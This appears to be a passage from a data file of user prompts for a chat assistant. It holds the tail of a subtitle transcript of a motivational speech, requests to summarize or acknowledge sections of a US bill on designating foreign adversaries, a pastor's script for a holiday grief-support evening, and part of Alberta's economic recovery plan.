help\n\n120\n00:05:55,866 --> 00:05:57,399\nJapan needs your help\n\n121\n00:05:57,400 --> 00:05:59,933\nAlabama needs your help Tennessee needs your help\n\n122\n00:05:59,933 --> 00:06:01,566\nLouisiana needs your help\n\n123\n00:06:01,566 --> 00:06:03,266\nPhiladelphia needs your help\n\n124\n00:06:06,900 --> 00:06:09,766\nthe world needs a lot and we need it from you\n\n125\n00:06:10,933 --> 00:06:12,933\nwe really do we need it from you young people\n\n126\n00:06:12,933 --> 00:06:14,899\nI mean I'm not speaking for the rest of us up here\n\n127\n00:06:14,900 --> 00:06:16,600\nbut I know I'm getting a little grayer\n\n128\n00:06:18,866 --> 00:06:20,499\nwe need it from you the young people\n\n129\n00:06:20,500 --> 00:06:21,733\nbecause remember this\n\n130\n00:06:22,333 --> 00:06:23,966\nbut you gotta get out there\n\n131\n00:06:24,300 --> 00:06:25,966\nyou gotta give it everything you got\n\n132\n00:06:25,966 --> 00:06:27,599\nwhether it's your time\n\n133\n00:06:29,000 --> 00:06:32,000\nyour talent your prayers\n\n134\n00:06:32,333 --> 00:06:33,733\nor your treasures\n\n135\n00:06:36,000 --> 00:06:37,933\nwhat are you going to do with what you have\n\n136\n00:06:37,933 --> 00:06:40,066\nI'm not talking about how much you have\n\n137\n00:06:40,666 --> 00:06:42,099\nsome of you are business mages\n\n138\n00:06:42,100 --> 00:06:44,700\nsome of you are theologians nurses sociologies\n\n139\n00:06:44,800 --> 00:06:46,100\nsome of you have money\n\n140\n00:06:46,100 --> 00:06:47,600\nsome of you have patience\n\n141\n00:06:47,600 --> 00:06:49,066\nsome of you have kindness\n\n142\n00:06:49,066 --> 00:06:50,466\nsome of you have love\n\n143\n00:06:50,500 --> 00:06:53,000\nsome of you have a gift of long suffering\n\n144\n00:06:53,000 --> 00:06:55,266\nwhatever it is whatever your gift is\n\n145\n00:06:55,733 --> 00:06:59,166\nwhat are you going to do with what you have\n\n146\n00:07:00,366 --> 00:07:02,533\nall right now here's my last point about failure\n\n147\n00:07:03,733 --> 00:07:04,933\nsometimes\n\n148\n00:07:06,100 --> 00:07:07,566\nit's the best way\n\n149\n00:07:08,933 --> 00:07:10,533\nto figure out where you're going\n\n150\n00:07:12,133 --> 00:07:14,266\nyour life will never be a straight path\n\n151\n00:07:15,300 --> 00:07:18,066\nI began at fordham university as a pre med student\n\n152\n00:07:18,466 --> 00:07:20,166\nI took a course called that\n\n153\n00:07:21,366 --> 00:07:22,599\nkandiak morphogenesis\n\n154\n00:07:22,600 --> 00:07:24,166\nI couldn't read it I couldn't say it\n\n155\n00:07:24,166 --> 00:07:25,666\nI sure couldn't pass it\n\n156\n00:07:26,733 --> 00:07:29,999\nso then I decided to go into pre law then journalism\n\n157\n00:07:30,100 --> 00:07:31,566\nand with no academic focus\n\n158\n00:07:31,566 --> 00:07:33,966\nmy grades took off in their own direction\n\n159\n00:07:35,766 --> 00:07:38,099\nI was a 1.8 GPA\n\n160\n00:07:39,100 --> 00:07:41,566\nand the university very politely suggested\n\n161\n00:07:41,566 --> 00:07:43,866\nthat it might be better to take some time off\n\n162\n00:07:46,400 --> 00:07:47,866\nI was 20 years old\n\n163\n00:07:48,100 --> 00:07:49,666\nI was at my lowest point\n\n164\n00:07:49,966 --> 00:07:52,866\nand then one day and I remember the exact day\n\n165\n00:07:52,966 --> 00:07:57,499\n27/3/1975 I was helping my mother in a beauty shop\n\n166\n00:07:57,500 --> 00:07:59,566\nmy mother in a beauty shop up in my Vernon\n\n167\n00:07:59,700 --> 00:08:00,166\nand there was\n\n168\n00:08:00,166 --> 00:08:01,533\nthere was this older woman\n\n169\n00:08:01,966 --> 00:08:04,566\nwho was considered one of the elders in the town\n\n170\n00:08:04,566 --> 00:08:06,266\nand I didn't know her personally\n\n171\n00:08:06,266 --> 00:08:07,699\nbut I was looking in the mirror\n\n172\n00:08:07,700 --> 00:08:09,666\nand every time I looked at the mirror I could see her\n\n173\n00:08:09,700 --> 00:08:11,566\nbehind me and she was staring at me\n\n174\n00:08:12,666 --> 00:08:14,566\nshe just kept looking at every time I looked at it\n\n175\n00:08:14,566 --> 00:08:16,299\nshe kept giving me these strange looks\n\n176\n00:08:16,700 --> 00:08:19,100\nso she finally took the dry or off her head and said\n\n177\n00:08:19,800 --> 00:08:21,366\nshe said something I'll never forget\n\n178\n00:08:22,400 --> 00:08:23,733\nshe said young boy\n\n179\n00:08:24,166 --> 00:08:25,533\nI have a prophecy\n\n180\n00:08:26,000 --> 00:08:27,866\na spiritual prophecy\n\n181\n00:08:29,466 --> 00:08:32,133\nshe said you are going to travel the world\n\n182\n00:08:32,466 --> 00:08:34,899\nand speak to millions of people\n\n183\n00:08:37,466 --> 00:08:38,666\nand in the years that followed\n\n184\n00:08:38,666 --> 00:08:40,399\njust as that woman prophesize\n\n185\n00:08:40,400 --> 00:08:41,866\nI have traveled the world\n\n186\n00:08:41,866 --> 00:08:43,966\nand I have spoken to millions of people\n\n187\n00:08:43,966 --> 00:08:45,133\nthrough my movies\n\n188\n00:08:45,800 --> 00:08:47,866\nmillions who up till this day\n\n189\n00:08:48,166 --> 00:08:49,199\ncouldn't see me\n\n190\n00:08:49,200 --> 00:08:52,166\nI who who up till this day I couldn't see\n\n191\n00:08:52,500 --> 00:08:54,666\nwhile I was talking to them and they couldn't see me\n\n192\n00:08:54,666 --> 00:08:55,933\nthey could only see the movie\n\n193\n00:08:56,933 --> 00:08:58,366\nit couldn't see the real me\n\n194\n00:09:00,466 --> 00:09:02,333\nbut I see youth today\n\n195\n00:09:03,900 --> 00:09:06,133\nand I'm encouraged by what I see\n\n196\n00:09:07,866 --> 00:09:10,733\nand I'm strengthened by what I see\n\n197\n00:09:14,200 --> 00:09:17,900\nbecause taking risk is not just about going for a job\n\n198\n00:09:18,300 --> 00:09:20,600\nit's also about knowing what you know\n\n199\n00:09:20,733 --> 00:09:22,166\nand what you don't know\n\n200\n00:09:22,366 --> 00:09:24,599\nit's about being open to people\n\n201\n00:09:25,366 --> 00:09:27,066\nand two ideas\n\n202\n00:09:28,200 --> 00:09:29,566\nthe chances you take\n\n203\n00:09:29,900 --> 00:09:31,400\nthe people you meet\n\n204\n00:09:31,700 --> 00:09:33,266\nthe people you love\n\n205\n00:09:33,666 --> 00:09:35,366\nthe faith that you have\n\n206\n00:09:35,733 --> 00:09:37,766\nthat's what's going to define you\n\n207\n00:09:40,166 --> 00:09:41,533\nnever be discouraged\n\n208\n00:09:42,733 --> 00:09:44,066\nnever hold back\n\n209\n00:09:45,100 --> 00:09:46,600\ngive everything you got\n\n210\n00:09:48,066 --> 00:09:49,933\nand when you fall throughout light\n\n211\n00:09:50,200 --> 00:09:51,100\nremember this\n\n212\n00:09:52,766 --> 00:09:53,933\nfall forward" +"Summarize this section for me:\n\nSEC. 7. RESOLUTION OF DISAPPROVAL OF DESIGNATION OR REMOVAL OF \n DESIGNATION OF A FOREIGN ADVERSARY.\n\n (a) Definition.--In this section--\n (1) the term ``covered joint resolution'' means a joint \n resolution of disapproval of designation or a joint resolution \n of disapproval of removal of designation;\n (2) the term ``joint resolution of disapproval of \n designation'' means a joint resolution the matter after the \n resolving clause of which is as follows: ``That Congress \n disapproves the designation by the Secretary of Commerce of \\_\\_\\_ \n as a foreign adversary for purposes of the Securing the \n Information and Communications Technology and Services Supply \n Chain Act of 2023, and such designation shall have no force or \n effect until the Secretary of Commerce provides specific \n evidence to the relevant committees of Congress regarding the \n removal of designation under section 6(a) of that Act.'' (The \n blank space being appropriately filled in with the name of the \n foreign person of which the Secretary has designated as a \n foreign adversary of for purposes of this Act); and\n (3) the term ``joint resolution of disapproval of removal \n of designation'' means a joint resolution the matter after the \n resolving clause of which is as follows: ``That Congress \n disapproves the removal of designation by the Secretary of \n Commerce of \\_\\_\\_ as a foreign adversary for purposes of the \n Securing the Information and Communications Technology and \n Services Supply Chain Act of 2023, and such removal shall have \n no force or effect until the Secretary of Commerce provides \n specific evidence to the relevant committees of Congress \n regarding the removal of designation under section 6(a) of that \n Act.'' (The blank space being appropriately filled in with the \n name of the foreign government or regime of which the Secretary \n has removed the designation as a foreign adversary of for \n purposes of this Act).\n (b) Expedited Consideration of Legislation.--\n (1) Initiation.--In the event the Secretary designates a \n foreign government or regime as a foreign adversary or removes \n such designation as a foreign adversary, a joint resolution of \n disapproval of designation or a joint resolution of disapproval \n of removal of designation, as applicable, that is introduced \n during the 60-calendar day period thereafter shall be entitled \n to expedited consideration pursuant to this subsection.\n (2) Introduction.--During the 60-calendar day period \n provided for in paragraph (1), a covered joint resolution may \n be introduced--\n (A) in the Senate, by the Majority Leader (or the \n designee of the Majority Leader) or the Minority Leader \n (or the designee of the Minority Leader); and\n (B) in the House of Representatives, by the Speaker \n or the Minority Leader.\n (3) Floor consideration in house of representatives.--\n (A) Reporting and discharge.--If a relevant \n committee of the House to which a covered joint \n resolution has been referred has not reported such \n covered joint resolution within 10 legislative days \n after the date of referral, that committee shall be \n discharged from further consideration thereof.\n (B) Proceeding to consideration.--Beginning on the \n third legislative day after each committee to which \n covered joint resolution has been referred reports the \n covered joint resolution to the House or has been \n discharged from further consideration thereof, it shall \n be in order to move to proceed to consider the covered \n joint resolution in the House. All points of order \n against the motion are waived. Such a motion shall not \n be in order after the House has disposed of a motion to \n proceed on the covered joint resolution with regard to \n the same agreement. The previous question shall be \n considered as ordered on the motion to its adoption \n without intervening motion. The motion shall not be \n debatable. A motion to reconsider the vote by which the \n motion is disposed of shall not be in order.\n (C) Consideration.--The covered joint resolution \n shall be considered as read. All points of order \n against the covered joint resolution and against its \n consideration are waived. The previous question shall \n be considered as ordered on the covered joint \n resolution to final passage without intervening motion \n except 2 hours of debate equally divided and controlled \n by the sponsor of the covered joint resolution (or a \n designee) and an opponent. A motion to reconsider the \n vote on passage of the covered joint resolution shall \n not be in order.\n (4) Consideration in the senate.--\n (A) Committee referral.--A covered joint resolution \n introduced in the Senate shall be referred to the \n relevant committees of the Senate.\n (B) Reporting and discharge.--If a relevant \n committee of the Senate has not reported such covered \n joint resolution within 10 session days after the date \n of referral of such legislation, that committee shall \n be discharged from further consideration of such \n legislation and the covered joint resolution shall be \n placed on the appropriate calendar.\n (C) Proceeding to consideration.--Notwithstanding \n Rule XXII of the Standing Rules of the Senate, it is in \n order at any time after each committee authorized to \n consider covered joint resolution reports it to the \n Senate or has been discharged from its consideration \n (even though a previous motion to the same effect has \n been disagreed to) to move to proceed to the \n consideration of the covered joint resolution, and all \n points of order against covered joint resolution (and \n against consideration of the covered joint resolution) \n are waived. The motion to proceed is not debatable. The \n motion is not subject to a motion to postpone. A motion \n to reconsider the vote by which the motion is agreed to \n or disagreed to shall not be in order. If a motion to \n proceed to the consideration of the covered joint \n resolution is agreed to, the covered joint resolution \n shall remain the unfinished business until disposed of.\n (D) Debate.--Debate on covered joint resolution, \n and on all debatable motions and appeals in connection \n therewith, shall be limited to not more than 10 hours, \n which shall be divided equally between the majority and \n minority leaders or their designees. A motion to \n further limit debate is in order and not debatable. An \n amendment to, or a motion to postpone, or a motion to \n proceed to the consideration of other business, or a \n motion to recommit the covered joint resolution is not \n in order.\n (E) Vote on passage.--The vote on passage shall \n occur immediately following the conclusion of the \n debate on the covered joint resolution and a single \n quorum call at the conclusion of the debate, if \n requested in accordance with the rules of the Senate.\n (F) Rulings of the chair on procedure.--Appeals \n from the decisions of the Chair relating to the \n application of the rules of the Senate, as the case may \n be, to the procedure relating to a covered joint \n resolution shall be decided without debate.\n (G) Consideration of veto messages.--Debate in the \n Senate of any veto message with respect to a covered \n joint resolution, including all debatable motions and \n appeals in connection with such covered joint \n resolution, shall be limited to 10 hours, to be equally \n divided between, and controlled by, the Majority Leader \n and the Minority Leader or their designees.\n (5) Rules relating to senate and house of \n representatives.--\n (A) Coordination with action by other house.--If, \n before the passage by one House of a covered joint \n resolution of that House, that House receives a covered \n joint resolution from the other House, then the \n following procedures shall apply:\n (i) The covered joint resolution of the \n other House shall not be referred to a \n committee.\n (ii) With respect to covered joint \n resolution of the House receiving the \n legislation--\n (I) the procedure in that House \n shall be the same as if no covered \n joint resolution had been received from \n the other House; but\n (II) the vote on passage shall be \n on the covered joint resolution of the \n other House.\n (B) Treatment of a covered joint resolution of \n other house.--If one House fails to introduce a covered \n joint resolution under this section, the covered joint \n resolution of the other House shall be entitled to \n expedited floor procedures under this section.\n (C) Treatment of companion measures.--If, following \n passage of the covered joint resolution in the Senate, \n the Senate then receives a companion measure from the \n House of Representatives, the companion measure shall \n not be debatable.\n (c) Rules of Senate and House of Representatives.--Subsection (b) \nis enacted by Congress--\n (1) as an exercise of the rulemaking power of the Senate \n and the House of Representatives, respectively, and as such are \n deemed a part of the rules of each House, respectively, but \n applicable only with respect to the procedure to be followed in \n that House in the case of legislation described in those \n sections, and supersede other rules only to the extent that \n they are inconsistent with such rules; and\n (2) with full recognition of the constitutional right of \n either House to change the rules (so far as relating to the \n procedure of that House) at any time, in the same manner, and \n to the same extent as in the case of any other rule of that \n House.\n (d) Effect of Covered Joint Resolution.--\n (1) Joint resolutions of disapproval of designation.--A \n joint resolution of disapproval of designation that is enacted \n in accordance with this section shall remove the designation as \n a foreign adversary of a foreign government or regime that is \n the subject of the joint resolution of disapproval of \n designation for purposes of this Act.\n (2) Joint resolutions of disapproval of removal of \n designation.--A joint resolution of disapproval of removal of \n designation that is enacted in accordance with this section \n shall prohibit the removal of designation as a foreign \n adversary of a foreign government or regime that is the subject \n of the joint resolution of disapproval of removal of \n designation for purposes of this Act.1 / 1" +'Also, I had an outreach event at the church to help people dealing with grief during the holidays. You don\'t need to incorporate the "Holiday" aspect, I am just giving you this as additional information to take into consideration. Also to see my specific writing and speaking style of conversational compassion:\n\nHope for the Holidays\n\nGood Evening, my name is JR- I am the Senior Pastor here and on behalf of Westshore Christian Church, I want to welcome you to Hope for the Holidays- a time of encouragement and support!\nSo here is how tonight is going to work. \nIn a moment, I am going to talk about some things that may help us this Christmas- give us all some encouragement.\nThen we are going to have some quiet time to pray and think upon those things.\nAfter that, we will break into group/groups where we will have some discussion, support and prayer.\nLastly, I will come back up here and wrap things up.\nOur hope and prayer is that this evening will be a blessing to you and that it will also be a source of support, encouragement and healing as we enter the Holiday season.\nBefore we continue, would you join me in a word of prayer…\nDear Heavenly Father, we come before you this evening with broken hearts. We have lost someone very close and dear to our hearts and we are hurting. We know Father that you understand the pain that we are going through as you gave your one and only Son, Jesus on our behalf. We pray that this evening, you would comfort us, you would restore and refresh us- that you Lord, would give us Hope for the Holidays. We trust in you this evening to show us the way--- the way that we should go. In Jesus Name we pray, Amen.\n---\\*DEPENDING ON WHO IS HERE---\nWell, some of you know me and some of you do not know me. So, very quickly here, I would like to share a little bit about me and why we are meeting tonight.\nI am not here tonight to preach to you (although I probably will… 😊), I am here – AS ONE OF YOU.\nI am not here to give you all the answers to the grief and loss that you are feeling… I am here to discover the answers WITH YOU.\nYou see, on August 11, 2020, my mom died suddenly and unexpectedly.\nMy mom had been diagnosed with cancer- but that is not how she died.\nMy mom called me on the phone (she lived in Virginia) and told me about the cancer. I was serving a church in New York at the time- the whole church prayed for my mom- that there would be some miracle.\nThen we got the call, the miracle came- the cancer was operable, there would be a little bit of chemo, but she was going to be okay!\nOur prayers had been answered! We praised God for it!\nThen a week later my mom (with no heart issues that we were aware of) died suddenly of a heart attack.\nI will be honest with you, I am a pastor- I’m not perfect, but I am the one that people call when they need counsel, when they need comfort, when they need prayer. \nI found myself- the one who usually has the answer, with no answers, and too many questions that I never thought I would be asking…\nIt’s been over 2 years since my mom died, I can’t say that all my questions have been answered, but I can say that slowly but surely, I’m becoming okay with that.\nI remember that when it first happened, I felt almost as if I was learning to walk again…\nSome of you may be learning how to walk again…\nThat is why I decided to have this time of support and encouragement tonight because I know that is what all of us need right now.\nIn the Bible- in the book of Ecclesiastes it says this: (spoken slowly)\n“There is a time for everything, and a season for every activity under heaven: a time to be born and a time to die, a time to plant and a time to uproot, a time to kill and a time to heal, a time to tear down and a time to build, a time to weep and a time to laugh, a time to mourn and a time to dance, a time to scatter stones and a time to gather them, a time to embrace and a time to refrain, a time to search and a time to give up, a time to keep and a time to throw away, a time to tear and a time to mend, a time to be silent and a time to speak, a time to love and a time to hate, a time for war and a time for peace.” (Ecclesiastes 3:1–8, NIV84) \nTake a look at verse 4 on the screen:\n“a time to weep and a time to laugh, a time to mourn and a time to dance,” (Ecclesiastes 3:4, NIV84) \nI want you to know that I believe that this Christmas, there is a time for BOTH!\nA Time to Weep and Mourn:\nDo not feel bad for weeping… do not let anyone (including yourself) make you feel bad for weeping. It does not matter if your loved one has been gone for 20 minutes or 20 years. If you need to weep- you weep.\nWeeping is not weakness- Jesus, Himself wept when his friend Lazarus had died. Jesus of all people knows what is to come- and yet He still wept.\nWe weep and mourn because we love… \\*expoundulate…\nWe weep and mourn because we long… \\*expoundulate…\nWe weep and mourn because we have loss… \\*expoundulate…\nBUT, it is also a Time to Laugh and Dance:\nDo not feel bad or be afraid to smile. It is okay. Do not let anyone (including yourself) make you feel bad for smiling and laughing. Sometimes the laughter comes through the tears.\nWe laugh and dance because we STILL love… \\*expoundulate…\nWe laugh and dance because we remember… \\*expoundulate…\nWe laugh and dance because not ALL is lost… \\*expoundulate…\nSo there is a time for each one of these things this Christmas- to weep and mourn AND to laugh and dance!\nAs a pastor, I have heard a lot of things about how people should or should not act when they are mourning, especially at the holidays.\nThere are two things that I usually hear (in one way or another):\nThe first is- Stay Home, don’t get involved, don’t do anything that reminds you of the person… just try to GET THROUGH…\\*Expoundulate…\nThe second thing I hear is- Go Out! Get involved, get your mind off of everything that reminds you of the person… WORK YOUR WAY THROUGH IT…\\*Expoundulate…\nBut I believe there is a third way- a better way!\nIn fact, I have been telling people for years, that I was going to write a book on grief- on mourning… I’m still working on it, but I will dedicate to my mom when I’m finished.\nAgain let me say that there is no right way or wrong way to mourn.\nBut here is my take on what I think is a Better Way To Mourn:\nM iss them… \\*Expoundulate… don’t act like they were never there or that it doesn’t matter or that you are okay…\nO wn your feelings… \\*Expoundulate… don’t act like YOU are okay- that you can handle it or that it’s bad to have these feelings…\nU understand the process… \\*Expoundulate… there’s ups and there’s downs, there’s sudden reminders… (for me- my son Zach’s bday came shortly after my mom died, Rudolph, Veteran’s Day, Our Christmas tree and her gifts, MY bday is coming up…)… \\*Expoundulate…\nR emember the good times… \\*Expoundulate… (it’s okay to celebrate and remember those things you did with them- even talk to them if you want- speak it out loud- “I remember when we did this…”)\nN ew memories (in memory)… \\*Expoundulate…\n\n“A psalm of David. The Lord is my shepherd, I shall not be in want. He makes me lie down in green pastures, he leads me beside quiet waters, he restores my soul. He guides me in paths of righteousness for his name’s sake. Even though I walk through the valley of the shadow of death, I will fear no evil, for you are with me; your rod and your staff, they comfort me. You prepare a table before me in the presence of my enemies. You anoint my head with oil; my cup overflows. Surely goodness and love will follow me all the days of my life, and I will dwell in the house of the Lord forever.” (Psalm 23, NIV84) \n“Do you not know? Have you not heard? The Lord is the everlasting God, the Creator of the ends of the earth. He will not grow tired or weary, and his understanding no one can fathom. He gives strength to the weary and increases the power of the weak. Even youths grow tired and weary, and young men stumble and fall; but those who hope in the Lord will renew their strength. They will soar on wings like eagles; they will run and not grow weary, they will walk and not be faint.” (Isaiah 40:28–31, NIV84) \nMy friends, we too will walk again… with the Lord’s help, we WILL make it through.\nI will be praying for each one of you this Holiday season. If you need anything, if you would like to talk further or need more prayer in the future or if you would like to know more about God and His Saving Grace and Love for you- we are here for you… \\*Expoundulate…\nLet’s close in prayer:\nLord God, sometimes we don’t know what to say and we just turn to you. That is the case today. We turn to you who are our strength during this time of grieving. You are the giver of life in the name of your Son Jesus Christ, who is the source of eternal life. You also understand death. So, we trust you today. Father, you know our grief. Give us peace and comfort. Dry our tears. Soothe our pain.\nWe know of the cross and the death of your Son, Jesus. We know too of the empty tomb. How thankful we are that Jesus rose on the third day, never to die again. We cling to his promise, “Because I live, you shall live also.”\nThank you, dear Father, for his victory over death and for the grace and love that share that victory with us. Comfort us in our loss and deepen our trust in you. In Jesus’ name we pray. Amen.' +'I will provide you a [text] and you will reply with "Read" after you received and understand the information.\nText= \nhas been referred reports the covered joint\nresolution to the House or has been discharged\nfrom further consideration thereof, it shall be in\norder to move to proceed to consider the cov-\nered joint resolution in the House. All points of\norder against the motion are waived. Such a\nmotion shall not be in order after the House\nhas disposed of a motion to proceed on the cov-\nered joint resolution with regard to the same\nagreement. The previous question shall be con-\nsidered as ordered on the motion to its adoption\nwithout intervening motion. The motion shall\nnot be debatable. A motion to reconsider the\nvote by which the motion is disposed of shall\nnot be in order.\n(C) CONSIDERATION.—The covered joint\nresolution shall be considered as read. All\npoints of order against the covered joint resolu-\ntion and against its consideration are waived.\nThe previous question shall be considered as or-\ndered on the covered joint resolution to final\npassage without intervening motion except 2\nhours of debate equally divided and controlled\nby the sponsor of the covered joint resolution\n(or a designee) and an opponent. A motion to\n\nreconsider the vote on passage of the covered\njoint resolution shall not be in order.\n(4) Consideration in the senate.—\n(A) COMMITTEE REFERRAL.—A covered\njoint resolution introduced in the Senate shall\nbe referred to the relevant committees of the\nSenate.\n(B) REPORTING AND DISCHARGE.—If a\nrelevant committee of the Senate has not re-\nported such covered joint resolution within 10\nsession days after the date of referral of such\nlegislation, that committee shall be discharged\nfrom further consideration of such legislation\nand the covered joint resolution shall be placed\non the appropriate calendar.\n(C) Proceeding to consideration.—\nNotwithstanding Rule XXII of the Standing\nRules of the Senate, it is in order at any time\nafter each committee authorized to consider\ncovered joint resolution reports it to the Senate\nor has been discharged from its consideration\n(even though a previous motion to the same ef-\nfect has been disagreed to) to move to proceed\nto the consideration of the covered joint resolu-\ntion, and all points of order against covered\n\njoint resolution (and against consideration of\nthe covered joint resolution) are waived. The\nmotion to proceed is not debatable. The motion\nis not subject to a motion to postpone. A mo-\ntion to reconsider the vote by which the motion\nis agreed to or disagreed to shall not be in\norder. If a motion to proceed to the consider-\nation of the covered joint resolution is agreed\nto, the covered joint resolution shall remain the\nunfinished business until disposed of.\n(D) DEBATE.—Debate on covered joint\nresolution, and on all debatable motions and ap-\npeals in connection therewith, shall be limited\nto not more than 10 hours, which shall be di-\nvided equally between the majority and minority\nleaders or their designees. A motion to further\nlimit debate is in order and not debatable. An\namendment to, or a motion to postpone, or a\nmotion to proceed to the consideration of other\nbusiness, or a motion to recommit the covered\njoint resolution is not in order.\n(E) VOTE ON PASSAGE.—The vote on pas-\nsage shall occur immediately following the con-\nclusion of the debate on the covered joint reso-\nlution and a single quorum call at the conclu-\n\nsion of the debate, if requested in accordance\nwith the rules of the Senate.\n(F) Rulings of the chair on proce-\nDURE.—Appeals from the decisions of the Chair\nrelating to the application of the rules of the\nSenate, as the case may be, to the procedure re-\nlating to a covered joint resolution shall be de-\ncided without debate.\n(G) Consideration of veto mes-\nSAGES.—Debate in the Senate of any veto mes-\nsage with respect to a covered joint resolution,\nincluding all debatable motions and appeals in\nconnection with such covered joint resolution,\nshall be limited to 10 hours, to be equally di-\nvided between, and controlled by, the Majority\nLeader and the Minority Leader or their des-\nignees.\n(5) Rules relating to senate and house\nOF REPRESENTATIVES.—\n(A) Coordination with action by\nOTHER HOUSE.—If, before the passage by one\nHouse of a covered joint resolution of that\nHouse, that House receives a covered joint reso-\nlution from the other House, then the following\nprocedures shall apply:\n\n(i) The covered joint resolution of the\nother House shall not be referred to a com-\nmittee.\n(ii) With respect to covered joint reso-\nlution of the House receiving the legisla-\ntion—\n(I) the procedure in that House\nshall be the same as if no covered\njoint resolution had been received\nfrom the other House; but\n(II) the vote on passage shall be\non the covered joint resolution of the\nother House.\n(B) Treatment of a covered joint\nRESOLUTION OF OTHER HOUSE.—If one House\nfails to introduce a covered joint resolution\nunder this section, the covered joint resolution\nof the other House shall be entitled to expedited\nfloor procedures under this section.\n(C) Treatment of companion meas-\nURES.—If, following passage of the covered\njoint resolution in the Senate, the Senate then\nreceives a companion measure from the House\nof Representatives, the companion measure\nshall not be debatable.\n\n(c) RULES OF SENATE AND HOUSE OF REPRESENTA-\nTIVES.—Subsection (b) is enacted by Congress—\n(1) as an exercise of the rulemaking power of\nthe Senate and the House of Representatives, re-\nspectively, and as such are deemed a part of the\nrules of each House, respectively, but applicable only\nwith respect to the procedure to be followed in that\nHouse in the case of legislation described in those\nsections, and supersede other rules only to the ex-\ntent that they are inconsistent with such rules; and\n(2) with full recognition of the constitutional\nright of either House to change the rules (so far as\nrelating to the procedure of that House) at any time,\nin the same manner, and to the same extent as in\nthe case of any other rule of that House.\n(d) EFFECT OF COVERED JOINT RESOLUTION.—\n(1) Joint resolutions of disapproval of\nDESIGNATION.—A joint resolution of disapproval of\ndesignation that is enacted in accordance with this\nsection shall remove the designation as a foreign ad-\nversary of a foreign government or regime that is\nthe subject of the joint resolution of disapproval of\ndesignation for purposes of this Act.\n(2) Joint resolutions of disapproval of\nREMOVAL OF DESIGNATION.—A joint resolution of\n\ndisapproval of removal of designation that is enacted\nin accordance with this section shall prohibit the re-\nmoval of designation as a foreign adversary of a for-\neign government or regime that is the subject of the\njoint resolution of disapproval of removal of designa-\ntion for purposes of this Act.\nSEC. 8. IMPLEMENTING AUTHORITIES.\n(a) REGULATIONS.—In carrying out the responsibil-\nities under this Act, the Secretary may establish such\nrules, regulations, and procedures as the Secretary con-\nsiders appropriate.\n(b) CLASSES OF TRANSACTIONS.—In conducting re-\nviews, promulgating regulations, implementing prohibi-\ntions or other mitigation measures, or otherwise carrying\nout the responsibilities under this Act, the Secretary may\ntake action with respect to both individual covered trans-\nactions and classes of covered transactions.\n(c) OTHER AUTHORITIES.—\n(1) IN GENERAL.—The Secretary may issue\nguidance, including advisory opinions, and establish\nprocedures to carry out this Act.\n(2) LISTS OF FOREIGN PERSONS.—The Sec-\nretary may create lists of foreign persons that may\nbe subject to prohibitions or restrictions and related\n\nmechanisms to revise and update such lists periodi-\ncally.\n(3) ADDITIONAL AUTHORITY.—The Secretary\n4 may undertake any other action as necessary to\ncarry out the responsibilities under this Act that is\nnot otherwise prohibited by law.\n(d) ADVISORY COMMITTEES.—The Secretary may ap-\npoint technical advisory committees to advise the Sec-\nretary in carrying out the responsibilities under this Act.\nChapter 10 of part 1 of title 5, United States Code, shall\nnot apply to any meeting of such an advisory committee\nheld pursuant to this subsection.\nSEC. 9. INFORMATION TO BE FURNISHED.\n(a) IN GENERAL.—The Secretary may require any\nparty to a transaction or holding under review or inves-\ntigation pursuant to this Act to furnish under oath, in the\nform of reports or otherwise, at any time as may be re-\nquired by the Secretary, complete information relative to\nany act, transaction, or holding, subject to the provisions\nof this Act.\n(b) AUTHORITY.—In carrying out this Act, the Sec-\nretary may—\n(1) require that information or reports required\nto be submitted under subsection (a) include the\nproduction of any documents relating to any act,' +"Key Initiatives\nhttps://www.alberta.ca/key-initiatives.aspx \nAlberta’s Recovery Plan\nhttps://www.alberta.ca/recovery-plan.aspx\nWe launched the plan in June 2020\nStrengthening our workforce\nWe're investing in programs to get Albertans back to work in good-paying jobs, and we're transforming our adult learning system to nurture talent, create opportunities for industry, and give Albertans the training, skills and knowledge they need for Alberta's future-ready workforce.\n\nGetting thousands of Albertans back to work through the Alberta Jobs Now program by helping businesses offset the cost of hiring and training unemployed or underemployed Albertans in new or vacant positions.\n\nAttracting the best and brightest job-creating entrepreneurs and skilled graduates to Alberta through the International Graduate Entrepreneur Immigration Stream and the Foreign Graduate Start Up Visa Stream.\n\nMaking sure our province is ready to meet the increasing demand for highly skilled workers in all sectors of the economy through the Alberta 2030: Building Skills for Jobs strategy to:\ncreate opportunities for business and industry to thrive and invest in our province\nensure current and future generations have the skills and knowledge they need to succeed\ncreate more opportunities for paid apprenticeships by expanding the apprenticeship model to other careers\n\nWork-Integrated Learning pilot program is creating new learning opportunities to help students get the job ready-skills they need, while providing employers with access to local talent.\nMitacs internship programs for Albertans offer hands-on learning opportunities for students to gain research skills from experienced industry professionals.\nGrowing our resources\nTo grow our economy and pave the way to an even brighter future for all Albertans, we're building on Alberta's strong foundation as a responsible and innovative energy leader, a major source of high-quality agricultural and forest products, and a world-class tourism destination.\nAgriculture and forestry\nAmplifying Alberta’s hard-earned reputation for high-quality agricultural and forest products and a growing capacity to help meet the global demand for food by:\nlaunching ambitious targets that will attract investment to enhance our value-added processing capacity and expand export opportunities to key global markets\nexpanding and modernizing irrigation infrastructure with a record $933-million investment to increase primary agriculture production, support a diversified value-added processing industry, improve water efficiency and storage capacity, and create up to 7,300 direct and indirect jobs and up to 1,400 construction jobs\ninvesting $24 million to expand the Agrivalue Processing Business Incubator\nReducing emissions\nEmpowering Alberta’s industries to continue their impressive leadership reducing emissions and developing game-changing technologies through:\nthe Alberta-made, industry-funded Technology Innovation and Emissions Reduction (TIER) system will invest up to $750 million over 3 years to drive significant emissions reductions, support up to 8,700 jobs, and inject $1.9 billion into the economy\nCanadian Agricultural Partnership is jointly funded by the Government of Alberta and the Government of Canada in Alberta and offers strategic programs and initiatives to help farmers and others in the agriculture and agri-business sector.\nAgriculture Financial Services Corporation offers business risk management programs, disaster relief and lending support for producers and agribusinesses.\nBuilding for the future\nFrom rural broadband and once-in-a-generation irrigation projects, to shovel-ready transportation and health-care projects and schools – we're building the infrastructure Alberta needs now so we can dream big tomorrow.\nWe are investing in critical infrastructure projects to lay the foundation for thousands of good-paying private-sector jobs, build our communities and make Alberta more attractive to investors and employers looking to relocate.\nExpanding rural broadband will capitalize on the tremendous potential of rural Alberta as a world-class destination for people to live and raise a family while still working for companies on Bay Street, Wall Street and Main Street.\n$750 million for agriculture and natural resource infrastructure projects\nInvesting in Canada Infrastructure Program allocates $3.66 billion from the federal government to invest in projects that strengthen our economy and get Albertans working.\nHelping everyday Albertans\nWe're providing the supports Alberta businesses and families need to get back to work and thrive as our economy recovers and 